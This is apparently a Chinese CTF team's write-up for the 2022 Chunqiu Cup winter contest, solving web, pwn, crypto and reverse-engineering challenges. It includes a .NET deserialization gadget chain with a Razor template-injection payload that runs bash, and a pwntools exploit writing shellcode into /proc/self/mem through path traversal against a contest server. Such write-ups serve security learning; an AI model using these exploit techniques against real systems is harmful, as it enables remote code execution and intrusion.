EDI
JOIN US ▶▶▶
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事。
欢迎各位师傅加入EDI,大家一起打CTF,一起进步。(诚招re crypto pwn misc方向的师傅)有意向的师傅请联系邮箱[email protected](带上自己的简历,简历内容包括但不限于就读学校、个人ID、擅长技术方向、历史参与比赛成绩等等。
点击蓝字 · 关注我们
1
ezdoenot
使用dnSpy反编译 WebApplication1.dll 和 WebLibClass.dll 路由 /api/UserLoad
会调用反序列化
寻找反序列化入口,关注到 WebLibClass.Gadget
的 TestOnDeserializing
方法,使用了 OnDeserialized
修饰,所以会在反序列化时触发。
这里有一个判断:
!this.key.Equals(ComparerData<T>.key)this.key
是从用户提供的序列化数据读入的,那么继续跟入 ComparerData<T>
看到
也就是说ComparerData<T>.key
是随机生成的。那么有没有在什么地方泄露呢?继续寻找可以看到
/login路由引用了该key,将key设置给了User,并且如果密码正确会将序列化数据存在session中。
这里可以从User类反编译拿到密码。然后再注意到/api/UserExport路由
这个路由会导出存在session里的序列化数据。因为key被设置在user对象里,所以序列化数据中就会有这个key。思路就很明确,首先登录,账号随意,密码是XNN0504,然后访问/api/UserExport拿到序列化数据后,再从中提取key。
继续回到TestOnDeserializing方法,当绕过了key的判断后,最后会调用this.comparer.Compare(this.x, this.y);this.comparer是IComparer<T>类型,这时也注意到WebLibClass.ComparerData<T>也是IComparer<T>的子类。所以this.comparer十有八九是用ComparerData<T>。
当this.isVoid是true时,会进行反射获取任意类的方法并进行调用,该方法限定为静态且两个参数类型为string。这里的类名和方法名分别通过this.c.getClass()和this.c.getMethod()获取,所以继续跟到this.c的声明。
可以看到this.c是一个内部的私有类。最终的效果就是可以调用任意类的两个string类型参数的静态方法,而这个两个参数就是反序列化时读入的x和y。一开始想直接调用System.Diagnostics.Process的Start(string filename, string args)方法,这个方法是完全符合条件的,但是貌似没有引用System.Diagnostics.Process.dll所以调用不了。后来根据题目意思就是调用了System.IO.File.WriteAllText(string path, string contents)来写文件。反射搓序列化链代码如下:
static void Main(string[] args)
{
ComparerData<string> comparerDataObj = new ComparerData<string>();
string tpl = File.ReadAllText(@"staticerror.html");
Gadget<string> gadgetObj = new Gadget<string>(comparerDataObj, "static/error.html", tpl);
Type gadgetType = gadgetObj.GetType();
FieldInfo keyFiled = gadgetType.GetField("key", BindingFlags.Instance | BindingFlags.NonPublic);
keyFiled.SetValue(gadgetObj, "c482f17d0ab14fdc9752b28f36ff2020");
Type comparerDataType = comparerDataObj.GetType();
FieldInfo isVoidField = comparerDataType.GetField("isVoid", BindingFlags.Instance | BindingFlags.NonPublic);
isVoidField.SetValue(comparerDataObj, true);
Type innerClassMethodType = comparerDataType.GetNestedTypes(BindingFlags.NonPublic)[0];
innerClassMethodType = innerClassMethodType.MakeGenericType(typeof(string));
Console.WriteLine(innerClassMethodType.FullName);
FieldInfo classnameFiled = innerClassMethodType.GetField("Classname", BindingFlags.Instance | BindingFlags.NonPublic);
FieldInfo methodnameFiled = innerClassMethodType.GetField("Methodname", BindingFlags.Instance | BindingFlags.NonPublic);
Object innerClassMethodObj = Activator.CreateInstance(innerClassMethodType);
classnameFiled.SetValue(innerClassMethodObj, "System.IO.File");
methodnameFiled.SetValue(innerClassMethodObj, "WriteAllText");
FieldInfo cFiled = comparerDataType.GetField("c", BindingFlags.Instance | BindingFlags.NonPublic);
cFiled.SetValue(comparerDataObj, innerClassMethodObj);
Console.WriteLine(SerTools.Serialize(gadgetObj));
}
这里主要坑的就是ComparerData<T>用了泛型,所以在获取其内部类时要用MakeGenericType(typeof(string))明确类型,后面才能进行实例化。
最后就是进行ssti模板注入,这个链子是往static/error.html进行写入,然后访问/admin即可触发。但是前面说过,程序没有引用System.Diagnostics.Process.dll所以不能直接用@{System.Diagnostics.Process.Start(“cmd.exe”,”/c calc”)}执行命令。最后还是用反射来搓,先加载System.Diagnostics.Process.dll程序集,然后获取System.Diagnostics.Process类再反射调用Start方法。
@using System.Reflection;
@{
Assembly assembly = Assembly.Load("System.Diagnostics.Process");
var processType = assembly.GetType("System.Diagnostics.Process");
var startMethod = processType.GetMethod("Start", BindingFlags.Static | BindingFlags.Public, null, new Type[]{typeof(string),typeof(string)}, null);
startMethod.Invoke(null, new []{"/bin/bash", "/app/wwwroot/js/1.sh"});
@processType.FullName;
}
这里面比较坑的是bash -c执行不了,不明原因,所以改为用bash执行shell脚本,因为前面实现了任意文件写了,可以往/app/wwwroot/js/1.sh写命令然后配合ssti执行。最后使用cat /flag > /app/wwwroot/js/1.txt将flag写到文件。然后访问WEB拿到flag。
2
ezphp
1
nan’s analysis
题目要求获取/flag,发现需要root权限,采用cat重定向到base64输出
解码后通过010还原可得一个加密的zip,内含shell.php
图片则是通过拼音告诉我们与此题无关
随即访问80端口的shell.php
一开始没想到0宽。。。然后看到响应包里的就尝试了下0宽
同时获得了两条信息
这边再转到终端 发现根目录下隐藏了两个文件
DS_Store下载后并未发现信息
.index.php下载后发现一些混淆的代码
eval改成echo
发现密文
接下来从zip入手写个脚本跑个字典就行了
解开后发现跟上面的.index.php一样。。。。但没密文。。。看来上面几步没白做
唯一没找的就是流量包了
直接追踪TCP流
看来AES解密所需的偏移量密钥 密文都齐了,解开来得到AES密文
获取root的权限
2
reindeer game
3
楠之勇者
蛮有趣的一道题目,本地无docker就直接去搭了个ubuntu18.04:)
连上去之后先玩了一下,大概得到以下信息
这里获取到设备信息
大概按个10次4就能买普通魔杖进行附魔效果的输入了
此题应该是配后目录穿越漏洞写shellcode
linux有个机制叫内存映射文件,就是可以通过读写文件的方式读写一个进程的地址空间。那么此题中猜测python3.6.9这个程序在ubuntu18.04中的内存地址不变(实际上也是,否则没想到法子做)我们写一个简单的程序读python3.6.9的内存地址
可获取到其起始地址固定式0x400000,指令区域上限是0x7b4000
那么再写一个简单的程序来判断python进程的地址空间
0xcc是int3指令,如果执行到这个指令cpu会生成一个调试信号,addr则是需要猜测的地址,我们以页为单位尝试
当addr=0x600000时,写入成功
构造exp
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
io = remote("39.106.48.123",27713)
io.sendlineafter("请告诉我你的姓名:","Mrsh")
io.sendlineafter(">>","1")
# Linux-4.19.91-20220519040629.182dd72.al7.x86_64-x86_64-with-Ubuntu-18.04-bionic
# Python 3.6.9
def getmoney(n):
for i in range(n):
io.sendlineafter(">>","4")
io.sendlineafter("(按Enter键继续)","n")
def buy(n):
io.sendlineafter(">>","3")
io.sendlineafter(">>",str(n))
io.sendlineafter(">>",'a')
io.sendlineafter("(按Enter键继续)","n")
def writeevil(file,offset,data):
io.sendlineafter(">>","2")
io.sendlineafter(">>","1")
io.sendlineafter("输入你的记事录名称:",file)
io.sendlineafter("从第几页开始记录:",str(offset))
io.sendlineafter("(魔杖附效)输入内容:",base64.b64encode(data))
#io.sendlineafter("按Enter","n")
getmoney(10)
buy(1)
sh=asm(shellcraft.amd64.linux.sh())
writeevil("../proc/self/mem",0x600000,sh.rjust(0x1000,b"x90"))
io.interactive()
1
baby_transform
离散傅里叶变换
Exp如下:
import struct
fp = open(r"C:UsersAdministratorDesktop春秋杯冬季赛baby_transform_566a4f87c687b0c077804d89282566caflag.enc","rb")
data = fp.read()
val = []
def hex_to_float(I):
f = struct.unpack('<d',I)
return f[0]
for i in range(0,84,2):
t1 = hex_to_float(data[i*8:i*8+8])
t2 = hex_to_float(data[i*8+8:i*8+16])
val.append((t1,t2))
import math
from struct import *
PAI = 3.141592653589793
N = 42
bbb = b""
for n in range(42):
an = bn = 0
for x in range(42):
an += val[x][1] * math.cos(-2*PAI*x*n / N)
bn += val[x][0] * math.sin(-2*PAI*x*n / N)
an *= (1 / N)
bn *= (1 / N)
print(chr(int(an-bn+0.5)),end = "")
得到 :
f}c3a26829fa7f-080b-1ab4-0fb7-aa3d023e{gal
取反,得到flag为:
flag{e320d3aa-7bf0-4ba1-b080-f7af92862a3c}
2
easy_python
直接询问chatgpt
flag = [204, 141, 44, 236, 111, 140, 140, 76, 44, 172, 7, 7, 39, 165, 70, 7, 39, 166, 165, 134, 134, 140, 204, 165, 7, 39, 230, 140, 165, 70, 44, 172, 102, 6, 140, 204, 230, 230, 76, 198, 38, 175]
for i in range(42):
flag[i] = (flag[i] >> 5) | ((flag[i] << 3) & 255)
print(chr(flag[i]),end = "")
flag为:
flag{ddbae889-2895-44df-897d-2ae30df77b61}
3
godeep(一解)
Go语言编写的exe程序,main_convert函数把输入的字符串按ASC码转换为了大端序的二进制字符串,之后通过二进制值的来遍历二叉树
解题思路:
有好几种解题思路,可以手动交叉引用慢慢算,也可以用IDAPython脚本算
我这里,打印出来所有伪代码后,通过正则匹配的方式拿到的flag
exp
# import idaapi
# import idautils
# def Ida_Decode(fp,begin,end):
# All_Fun = list(idautils.Functions(begin,end))
# for i in range(len(All_Fun)):
# func = idaapi.get_func(All_Fun[i]) # 获取函数
# cfunc = idaapi.decompile(func.start_ea) # 反编译
# fp.write((str(cfunc)))
# begin = 0x000000000C8B820
# end = 0x000000000D72EE6
# addr = begin
# with open(r"C:UsersAdministratorDesktopGet_Code","w") as fp:
# Ida_Decode(fp,begin,end)
# import re
# patternn = re.compile("__fastcall (godeep_tree_[a-zA-Z0-9]+)(")
# fp = open(r"C:UsersAdministratorDesktopGet_Code","r")
# All_data = fp.readlines()
# find_str = "godeep_tree_VSWEwsr_successssssssssssssssssssss"
# idx = 0
# flag_2 = ""
# while 1:
# if find_str == "godeep_tree_ApSzXJOjiFA" :
# break;
# for i in range(len(All_data)):
# if find_str in All_data[i] and "__fastcall" not in All_data[i]:
# idx = i
# if "else" in All_data[i+1]:
# flag_2 += "1"
# else:
# flag_2 += "0"
# # print(flag_2)
# ans = 0
# for i in range(idx-1,-1,-1):
# if "__fastcall" in All_data[i] :
# fun_name = patternn.search(All_data[i]).group(1)
# ans = 1
# break
# if ans == 0:
# assert 0
# find_str = fun_name[:]
# print(flag_2)
re_flag = "100001100000110001000110110011000010011010101100001011001110110011000110010001100001110011101100101101001110110000011100100111000001110010110100011001101001110010001100001011001011010001000110111011000110011001100110101101001110110010011100001001100100011011001100000011001100011001100110"
flag = hex(int((re_flag[::-1]),2))[2:]
print(bytes.fromhex(flag))
flag为:
fc03bd97-ff7b-419f-8987-78bc745d3b0a
4
godeep(二解)
Ⅲ、加壳探测
Ⅳ、静态分析
4.1、分析main函数 1.将程序载入ida7.7,在函数窗口里面定位到main_main函数,查看它的伪代码,根据上下文信息添加 上对应的注视。
-
在使用ida7.7分析main函数的时候像 fmt_Fprintln,fmt_Fscanf、main_convert 等这些被调用 的函数,他们的参数都是不完整的 -
需要自己在函数上按Y给它们添加参数,具体怎么添加请继续往下看
4.2、修改调用约定
1.像 fmt_Fprintln ,首先将它的调用约定改成 __fastcall ,然后在参数列表里面给它写上4个 void* 和一个 char* 为什么是4个 void* 和一个 char* ?是一个一个试出来的,自己可以根据情况自行修改参数
__int64 __fastcall fmt_Fprintln(void *, void *, void *, char *, void *)
__int64 __fastcall fmt_Fscanf(__int64, __int64, __int64, __int64, __int64,
__int64)
3.经过尝试,main_convert有两个参数
__int64 __fastcall main_convert(__int64, void *)
4.根据尝试, godeep_tree_ApSzXJOjiFA 函数也有两个参数
__int64 __fastcall godeep_tree_ApSzXJOjiFA(__int64, __int64)
Ⅴ、动态调试
5.1、分析main_convert函数
2.输入测试flag
3. 在 main_convert 函数这里下一个断点,观察程序传递的参数,发现并不是我们输入的 1234567890
是因为字符串在go里面是用结构体来表示的,传递的是字符串这个对象结构体的地址
这里我们不深究go字符串的结构体到底是怎样,我们只关心它会对我们输入的字符串做什么操作
4. 我们在 main_convert 函数的返回处下一个断点,观察RAX的值,可以看到下图中RAX所在的地址有我们输入的flag,和一串010101,说明这个函数的功能就是将我们输入的内容转成二进制字符串。
5.我们将复制出来的二进制字符串放到Python中进行处理,发现是成功的还原出输入的 1234567890
5.2、分析godeep_tree_xxx函数
1.我们接着来分析一下main中调用的 godeep_tree_ApSzXJOjiFA 函数
2. 虽然这里变量a2没有被定义,但是可以看到它里面存的值 我们在16进制窗口跟随这个值,发现是一堆二进制的0和1 其实就是刚刚上方的二进制字符串,现在转成了二进制数值。
3.我们转到反汇编视图,看它再调用下一个 godeep_tree_xxx 所传递的参数,从RAX中可以看到是将 原来的a2加了1传递过去的。
4.结果当然是wrong
Ⅵ、思路探索
1. 现在我们可以知道程序的逻辑是根据用户输入的内容,将其转成2进制,程序根据二进制的每一位 去调用对应的函数,如果正确就会调用到right,否则就是wrong 那这里我们的思路就是从引用了right字符串这个函数作为切入点,从最终的目的地倒推路径出来
2.现在我们开始寻找目的地函数,这里我们在IDA中搜索right字符串,看谁引用了它
3.按X交叉引用
4.直到找到 godeep_tree_VSWEwsr 函数,可以看到这个函数里引用了 right 这个字符串,并且还将它 输出
5.那我们看一下 godeep_tree.VSWEwsr 的上层调用是哪个函数
6. 是 godeep_tree_uhjbVAJIZWUvFQBgP 调用了 godeep_tree.VSWEwsr 函数 那又是谁调用了 godeep_tree_uhjbVAJIZWUvFQBgP 函数呢?如果这样人工找,效率太低,等找 到了比赛早就结束了~ 那怎么办呢?我们使用 idapython 脚本来完成这个操作。
Ⅶ、编写脚本
7.1、查找所有上层调用
1.编写idapython脚本,功能是查找 godeep_tree_VSWEwsr 所有上层调用函数的列表,终点是 godeep_tree_ApSzXJOjiFA 函数
from idaapi import *
'''
功能:获取一个函数的上层调用函数地址
返回:函数的上层调用地址
'''
def get_crefs(func):
find_func = func
addr = list(CodeRefsTo(find_func,0))[0]
up_call = get_func(addr).start_ea
return up_call
'''
功能:获取godeep_tree.ApSzXJOjiFA到godeep_tree.VSWEwsr之间的所有函数上层调用
返回:这两个函数之间的调用列表
'''
def get_all_refs():
start_func = get_name_ea(0,'godeep_tree.VSWEwsr')
end_func = get_name_ea(0,'godeep_tree.ApSzXJOjiFA')
func_list = [start_func]
while True:
ret = get_crefs(start_func)
func_list.append(ret)
start_func = ret
if ret == end_func:
break
return func_list
refs = get_all_refs()
print(refs)
print(get_func_name(refs[0]))
print(get_func_name(refs[-1]))
2.从运行的结果中可以看到,我们成功的找到了 godeep_tree_VSWEwsr 到 godeep_tree_ApSzXJOjiFA 函数的所有上层调用函数列表
3.有了列表以后,我们就要判断列表里的每一个函数它是为true执行到的还是为false执行到的
7.2、完整解题脚本
1.下面是完整解题脚本
from idaapi import *
'''
功能:获取一个函数的上层调用函数地址
返回:函数的上层调用地址
'''
def get_crefs(func):
find_func = func
addr = list(CodeRefsTo(find_func,0))[0]
up_call = get_func(addr).start_ea
return up_call
'''
功能:获取godeep_tree.ApSzXJOjiFA到godeep_tree.VSWEwsr之间的所有函数上层调用
返回:这两个函数之间的调用列表
'''
def get_all_refs():
start_func = get_name_ea(0,'godeep_tree.VSWEwsr')
end_func = get_name_ea(0,'godeep_tree.ApSzXJOjiFA')
func_list = [start_func]
while True:
ret = get_crefs(start_func)
func_list.append(ret)
start_func = ret
if ret == end_func:
break
return func_list
'''
功能:根据相邻两个调用函数来判断返回1还是返回0
参数:
cur_func: 当前函数地址
up_func:cur_func的上层调用函数地址
'''
def get_bin_code(cur_func,up_func):
# 1.这里要将函数名中的.替换成_
cur_name = get_func_name(cur_func).replace('.','_')
# 2.
# 目的是为了在up_func函数中可以匹配到对应的行,因为反编译函数里面它的写法全是_
# 这里将反编译的伪代码,使用n进分割
up_body = str(decompile(up_func)).split('n')
for i in range(len(up_body)):
# 如果cur_name在上层函数体中的这一行内
if cur_name in up_body[i]:
# 判断下方有没有else,有就返回1,否则返回0
if 'else' in up_body[i+1]:
return '1'
else:
return '0'
# 1.首先获取end到start的所有函数引用
refs = get_all_refs()
print(len(refs))
# 2.遍历这些函数引用
bin_code = ''
for i in range(0,len(refs)-1):
# 3.传递get_bin_code所需要的参数
# cur_func : refs[i]
# up_func : refs[i+1]
bin_code += get_bin_code(refs[i],refs[i+1])
print(bin_code)
# 4.因为是从后往前找到的所以要将结果反转过来,并转成16进制
flag = hex(int((bin_code[::-1]),2))[2:]
# 5.将16进制转成字节并解码得到flag
flag = bytes.fromhex(flag).decode()
print(flag)
2.运行过后成功拿到flag
Ⅷ、运行测试
1.将flag输入到程序中进行测试,程序输出right,表示这就是正确的flag!
EDI安全
扫二维码|关注我们
一个专注渗透实战经验分享的公众号
原文始发于微信公众号(EDI安全):20222022年春秋杯冬季赛-WriteUp By EDISEC